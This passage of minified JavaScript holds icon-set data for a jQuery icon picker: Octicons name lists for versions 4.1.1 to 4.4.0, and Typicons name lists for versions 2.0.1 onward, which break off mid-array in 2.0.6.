"triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.1.1",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.2.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.2.1",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.3.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.4.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_octicon=data}(jQuery);
!function($){var data={iconClass:"typcn",iconClassFix:"typcn-",icons:[],allVersions:[{version:"2.0.1",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sync","arrow-sync-outline","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calender","calender-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","cross","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-outline","home","home-outline","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","messages","message-typing","microphone","microphone-outline","minus","minus-outline","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pin","pin-outline","pi-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","star","starburst","starburst-outline","star-outline","stopwatch","support","tabs-outline","tag","tags","thermometer","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thumbs-down","thumbs-up","tick","ticket","tick-outline","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-outline","zoom-out-outline"]},{version:"2.0.2",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sync","arrow-sync-outline","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calender","calender-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","cross","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-outline","home","home-outline","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","messages","message-typing","microphone","microphone-outline","minus","minus-outline","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pin","pin-outline","pi-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","star","starburst","starburst-outline","star-outline","stopwatch","support","tabs-outline","tag","tags","thermometer","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thumbs-down","thumbs-up","tick","ticket","tick-outline","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-outline","zoom-out-outline"]},{version:"2.0.3",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","keyboard","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","message-typing","messages","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pi-outline","pin","pin-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","star-full-outline","star-half","star-half-outline","star-outline","starburst","starburst-outline","stopwatch","support","tabs-outline","tag","tags","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thermometer","thumbs-down","thumbs-ok","thumbs-up","tick","tick-outline","ticket","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-out-outline","zoom-outline"]},{version:"2.0.4",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calendar","calendar-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","cloud-storage-outline","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","keyboard","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","message-typing","messages","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pi-outline","pin","pin-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","star-full-outline","star-half","star-half-outline","star-outline","starburst","starburst-outline","stopwatch","support","tabs-outline","tag","tags","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thermometer","thumbs-down","thumbs-ok","thumbs-up","tick","tick-outline","ticket","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-out-outline","zoom-outline"]},{version:"2.0.5",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","keyboard","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","message-typing","messages","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pi-outline","pin","pin-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","star-full-outline","star-half","star-half-outline","star-outline","starburst","starburst-outline","stopwatch","support","tabs-outline","tag","tags","th-large","th-large-outline","th-list","th-list-outline","th-menu","th-menu-outline","th-small","th-small-outline","thermometer","thumbs-down","thumbs-ok","thumbs-up","tick","tick-outline","ticket","time","times","times-outline","trash","tree","upload","upload-outline","user","user-add","user-add-outline","user-delete","user-delete-outline","user-outline","vendor-android","vendor-apple","vendor-microsoft","video","video-outline","volume","volume-down","volume-mute","volume-up","warning","warning-outline","watch","waves","waves-outline","weather-cloudy","weather-downpour","weather-night","weather-partly-sunny","weather-shower","weather-snow","weather-stormy","weather-sunny","weather-windy","weather-windy-cloudy","wi-fi","wi-fi-outline","wine","world","world-outline","zoom","zoom-in","zoom-in-outline","zoom-out","zoom-out-outline","zoom-outline"]},{version:"2.0.6",icons:["","adjust-brightness","adjust-contrast","anchor","anchor-outline","archive","arrow-back","arrow-back-outline","arrow-down","arrow-down-outline","arrow-down-thick","arrow-forward","arrow-forward-outline","arrow-left","arrow-left-outline","arrow-left-thick","arrow-loop","arrow-loop-outline","arrow-maximise","arrow-maximise-outline","arrow-minimise","arrow-minimise-outline","arrow-move","arrow-move-outline","arrow-repeat","arrow-repeat-outline","arrow-right","arrow-right-outline","arrow-right-thick","arrow-shuffle","arrow-sorted-down","arrow-sorted-up","arrow-sync","arrow-sync-outline","arrow-unsorted","arrow-up","arrow-up-outline","arrow-up-thick","at","attachment","attachment-outline","backspace","backspace-outline","battery-charge","battery-full","battery-high","battery-low","battery-mid","beaker","beer","bell","book","bookmark","briefcase","brush","business-card","calculator","calendar","calendar-outline","camera","camera-outline","cancel","cancel-outline","chart-area","chart-area-outline","chart-bar","chart-bar-outline","chart-line","chart-line-outline","chart-pie","chart-pie-outline","chevron-left","chevron-left-outline","chevron-right","chevron-right-outline","clipboard","cloud-storage","cloud-storage-outline","code","code-outline","coffee","cog","cog-outline","compass","contacts","credit-card","css3","database","delete","delete-outline","device-desktop","device-laptop","device-phone","device-tablet","directions","divide","divide-outline","document","document-add","document-delete","document-text","download","download-outline","dropbox","edit","eject","eject-outline","equals","equals-outline","export","export-outline","eye","eye-outline","feather","film","filter","flag","flag-outline","flash","flash-outline","flow-children","flow-merge","flow-parallel","flow-switch","folder","folder-add","folder-delete","folder-open","gift","globe","globe-outline","group","group-outline","headphones","heart","heart-full-outline","heart-half-outline","heart-outline","home","home-outline","html5","image","image-outline","infinity","infinity-outline","info","info-large","info-large-outline","info-outline","input-checked","input-checked-outline","key","key-outline","keyboard","leaf","lightbulb","link","link-outline","location","location-arrow","location-arrow-outline","location-outline","lock-closed","lock-closed-outline","lock-open","lock-open-outline","mail","map","media-eject","media-eject-outline","media-fast-forward","media-fast-forward-outline","media-pause","media-pause-outline","media-play","media-play-outline","media-play-reverse","media-play-reverse-outline","media-record","media-record-outline","media-rewind","media-rewind-outline","media-stop","media-stop-outline","message","message-typing","messages","microphone","microphone-outline","minus","minus-outline","mortar-board","news","notes","notes-outline","pen","pencil","phone","phone-outline","pi","pi-outline","pin","pin-outline","pipette","plane","plane-outline","plug","plus","plus-outline","point-of-interest","point-of-interest-outline","power","power-outline","printer","puzzle","puzzle-outline","radar","radar-outline","refresh","refresh-outline","rss","rss-outline","scissors","scissors-outline","shopping-bag","shopping-cart","social-at-circular","social-dribbble","social-dribbble-circular","social-facebook","social-facebook-circular","social-flickr","social-flickr-circular","social-github","social-github-circular","social-google-plus","social-google-plus-circular","social-instagram","social-instagram-circular","social-last-fm","social-last-fm-circular","social-linkedin","social-linkedin-circular","social-pinterest","social-pinterest-circular","social-skype","social-skype-outline","social-tumbler","social-tumbler-circular","social-twitter","social-twitter-circular","social-vimeo","social-vimeo-circular","social-youtube","social-youtube-circular","sort-alphabetically","sort-alphabetically-outline","sort-numerically","sort-numerically-outline","spanner","spanner-outline","spiral","star","star-full-outline","star-half","star-half-outline","star-outline","starburst","starburst-outline","stopwatch","support","tabs-outline","tag","tags","th-large","th-large-outline","th-list","th-list-outline","th-menu","